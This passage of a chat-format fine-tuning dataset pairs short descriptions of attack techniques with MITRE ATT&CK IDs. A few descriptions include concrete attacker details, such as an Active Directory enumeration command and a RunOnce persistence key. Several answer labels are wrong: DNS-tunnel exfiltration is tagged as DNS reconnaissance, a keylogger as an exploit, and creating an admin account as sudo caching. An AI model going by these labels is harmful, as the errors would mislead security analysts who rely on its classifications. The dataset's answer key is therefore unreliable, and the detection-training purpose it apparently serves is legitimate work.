                "role": "user",
                "content": "After initial compromise, the malicious actor delivers a .cpp file and triggers compilation on the host, creating an obfuscated executable at runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign targets executives with a crafted email that appears to come from the CFO, prompting them to enable macro execution."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion used API calls to disable the firewall's intrusion prevention system in a SaaS platform, opening the environment to further attacks."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the adversary executes Get-ADGroup -Filter * to enumerate every AD group in the environment."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary implements a resolver that computes API hashes and scans loaded modules to locate matching functions, enabling dynamic API resolution to hide its behavior."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group runs automated scripts that scrape search engine results for the target's brand and domain to identify exposed endpoints."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor cleans persistence traces by removing all newly added launch daemons and scheduled tasks from the system."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool sets up a VNC listener on the victim's machine, allowing the attacker to view and control the screen."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group forges a fraudulent SSL/TLS certificate for a popular website to conduct man-in-the-middle attacks."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage team builds a custom keylogger and hosts the binaries on a compromised file‑sharing service."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a compromised third‑party server to stage large data sets before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a Wireshark‑like module to capture and duplicate all outgoing traffic for covert data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the domain's security policy to grant domain admin rights to a low-privileged service account."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits flaws in client-server architectures to conduct lateral movement, especially where the client has elevated privileges on the server."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses WMI to subscribe to the \"Win32_ProcessStartTrace\" event, executing a Cobalt Strike beacon when any cmd.exe instance launches."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker created a rogue SharePoint site to which they redirected data from a compromised OneDrive for Business sync client."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary’s DGA creates domain names based on a pseudo‑random number generator seeded with the current date."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code uses \"Alternate Data Streams\" to hide additional payloads within legitimate files on NTFS volumes."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor installs a malicious browser extension that accesses Edge's credential manager API to steal saved website credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs a discovery of password policy by querying the SAM database for password complexity flags."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool harvests OAuth tokens that are then used to access SharePoint data repositories."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware continuously monitors the clipboard for copied passwords and credit card numbers, exfiltrating the data when found."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware issues a series of MFA request messages to the target's registered device, using prompt bombing to bypass the second factor."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses JavaScript to query the user agent string and extract details about the browser type, version, and plugins."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a document pretends to be a report from the legal department, requesting recipients to verify their login details for compliance."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a PowerShell script to copy Thunderbird profile folders containing email archives."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses Terraform state manipulation to replace a compromised cloud instance with a clean version."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker uses the 'psexec' tool over NTLM authentication to execute commands on a remote Windows server."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrates unencrypted SSH private keys from the victim's .ssh directory."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages Windows Dynamic Data Exchange (DDE) to inject malicious commands into a trusted Office document."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber espionage group hijacks a code signing certificate issuance process to generate certificates for their own malicious tools."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors tunnel their C2 traffic through port 22, disguising it as legitimate SSH sessions."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses an internal phishing campaign, embedding a disguised executable in a routine IT update email, which installs keylogging software on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder abuses the server's transport agent framework to execute a PowerShell script on every inbound email."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a sabotage scenario, the attacker disables the OS and runs a utility that overwrites the swap file and all data blocks."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a compromised domain controller to replace the authentication certificate used for smart card logon, enabling unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromises a legitimate blog and embeds a PowerShell script that runs when the page loads."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker clears event logs and wipes forensic traces by deleting relevant files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged stolen credentials to log into the content management system and changed the site's logo and text to propaganda."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a web search to locate the victim’s public GitHub repositories containing source code."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious login script captures credentials entered by the user and forwards them to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrates data by encoding it in DNS query subdomains and sending it to a remote name server."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is saved as \"module.dll.dll\" to evade detection by appearing as a legitimate DLL file with a redundant extension."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators prepend random junk bytes to scripts to evade signature‑based detection."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit misconfigured edge servers to route traffic to their C2 server, using the front domain of a trusted service."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign leads to a script that stages files in a renamed .exe file for later extraction."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a code signing certificate obtained through a social engineering attack on a certificate authority employee."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access, the attacker transfers a custom backdoor to the target machine using PowerShell's Invoke-WebRequest."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor emails a targeted employee with a seemingly legitimate link to a fake login page, trying to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a recent campaign, threat actors used msiexec with the /log option to execute a hidden payload, illustrating System Binary Proxy Execution: Msiexec."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code uses the mail protocol to exfiltrate logs by compressing them and attaching them to an email sent through SMTP."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a PowerShell one‑liner that decodes a Base64 string embedded in a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker pivots from a compromised LXC container to the host by exploiting namespace escape vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor enumerates and copies all files in the Temp folder to an external server."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group deploys a custom backdoor that includes a routine to create a local account \"maintainer\" and enables it for remote login."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce to persist after user login."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor sends a targeted phishing email containing a link to a fake login page that harvests the victim's credentials."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes an open‑source utility to perform AS‑REP roasting, focusing on accounts marked with 'Password not required' to collect encrypted AS‑REP responses."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro sets up an encrypted channel using a symmetric key to transmit stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker embeds a hidden URL in a malicious document that, when clicked, redirects to a remote server hosting additional reconnaissance tools."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee opens a malicious Excel spreadsheet from a phishing link, enabling macros that execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a malicious executable that installs a keylogger which records all keyboard input via SetWindowsHookEx."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects a script into /etc/rc.local on a Linux host, causing the script to run automatically during system boot."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a buffer overflow in a locally installed program, the adversary forces the host to freeze and become unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages a buffer overflow in a privileged service to gain administrative rights."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses \"Fileless\" execution by storing the malicious payload in memory via PowerShell’s Invoke‑Expression."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by adding a new entry to the LaunchAgents directory that runs a PowerShell payload on macOS."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs passive DNS replication to collect historical DNS records for the target's domain."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat leverages BITS to silently transfer a custom implant to the target system, avoiding detection by typical file monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a supply‑chain attack, malicious code is embedded into the ROMMON firmware of a router, allowing attackers to execute code before the device’s OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a zero‑day exploit, the attacker altered the intranet's news feed to display a defaced announcement encouraging further compromise."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by adding a new user account to the local Administrators group and setting it to never expire."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code exploits the SMB protocol vulnerability (e.g., EternalBlue) to execute code on neighboring machines."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised account was used to mute log alerts in the cloud environment, effectively hiding ongoing exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised web server to route traffic through a legitimate CDN, modifying the Host header to mask the destination, effectively performing domain fronting."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves compromising the system's EFI variables to achieve code execution prior to OS startup."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
